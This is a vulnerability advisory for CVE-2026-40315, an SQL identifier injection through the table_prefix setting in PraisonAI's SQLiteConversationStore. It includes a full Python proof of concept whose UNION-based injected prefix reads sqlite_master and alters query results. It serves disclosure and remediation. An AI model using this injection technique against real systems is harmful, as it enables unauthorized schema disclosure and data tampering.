CVE-2026-40315: PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries
Summary
The tableprefix configuration value is directly used to construct SQL table identifiers without validation.
If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlitemaster) and tampering with query results.
---
Details This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.
This occurs because tableprefix is passed from configuration (fromyaml / fromdict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:
python sessionstable = f"{tableprefix}sessions"
This value is then used in queries such as:
sql SELECT FROM {self.sessionstable}
Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.
The vulnerability originates from configuration input and propagates through the following flow:
Source: config.py (fromyaml / fromdict) accepts external configuration input
Propagation: factory.py (createstoresfromconfig) passes conversationoptions without validation
Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from tableprefix
As a result, attacker-controlled tableprefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.
PoC
1. Exploit Code The PoC demonstrates that attacker-controlled tableprefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure. python #!/usr/bin/env python3 """ PoC: SQL identifier injection via SQLiteConversationStore.tableprefix
This demonstrates query-structure manipulation when tableprefix is attacker-controlled. """
import os import tempfile
from praisonai.persistence.conversation.sqlite import SQLiteConversationStore from praisonai.persistence.conversation.base import ConversationSession
def runpoc() -> int: fd, dbpath = tempfile.mkstemp(suffix=".db") os.close(fd)
try: print(f"[+] temp db: {dbpath}")
# 1) Create normal schema and insert one legitimate session. normal = SQLiteConversationStore( path=dbpath, tableprefix="praison", autocreatetables=True, ) normal.createsession( ConversationSession( sessionid="legit-session", userid="user1", agentid="agent1", name="Legit Session", state={}, metadata={}, createdat=123.0, updatedat=123.0, ) )
normalrows = normal.listsessions(limit=10, offset=0) print(f"[+] normal.listsessions() count: {len(normalrows)}") print(f"[+] normal first sessionid: {normalrows[0].sessionid if normalrows else None}")
# 2) Malicious prefix (UNION-based query structure manipulation) injectedprefix = ( "praisonsessions WHERE 1=0 " "UNION SELECT " "name as sessionid, " "NULL as userid, " "NULL as agentid, " "NULL as name, " "NULL as state, " "NULL as metadata, " "0 as createdat, " "0 as updatedat " "FROM sqlitemaster -- " )
injected = SQLiteConversationStore( path=dbpath, tableprefix=injectedprefix, autocreatetables=False, )
injectedrows = injected.listsessions(limit=10, offset=0) injectedids = [row.sessionid for row in injectedrows]
print(f"[+] injected.listsessions() count: {len(injectedrows)}") print(f"[+] injected sessionids (first 10): {injectedids[:10]}")
suspicious = any( x in injectedids for x in ("sqliteschema", "sqlitemaster", "praisonsessions", "praisonmessages") )
if suspicious or len(injectedrows) > len(normalrows): print("[!] PoC succeeded: listsessions query semantics altered by tableprefix") return 0
print("[!] PoC inconclusive: no clear injected rows observed") return 2
finally: try: os.remove(dbpath) print("[+] temp db removed") except OSError: pass
if name == "main": raise SystemExit(runpoc())
---
2. Expected Output
!PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.
3. Impact
- SQL Identifier Injection - Query result manipulation - Internal schema disclosure
Exploitable when untrusted input can influence configuration.
--- Reference
- https://github.com/advisories/GHSA-59g6-v3vg-f7wc
Other sources
PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the tableprefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the tableprefix value (e.g., through fromyaml or fromdict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlitemaster, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133.
— NVD
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-40315?
CVE-2026-40315 is classified as a critical vulnerability due to its potential for SQL identifier injection.
How do I fix CVE-2026-40315?
To fix CVE-2026-40315, upgrade to PraisonAI version 4.5.133 or later which implements proper validation of the table_prefix.
What damage can CVE-2026-40315 cause?
CVE-2026-40315 can allow attackers to execute arbitrary SQL queries, potentially leading to data leakage or manipulation.
Which versions of PraisonAI are affected by CVE-2026-40315?
CVE-2026-40315 affects all versions of PraisonAI prior to 4.5.133.
Is CVE-2026-40315 related to SQL injection attacks?
Yes, CVE-2026-40315 involves SQL identifier injection, a type of SQL injection vulnerability.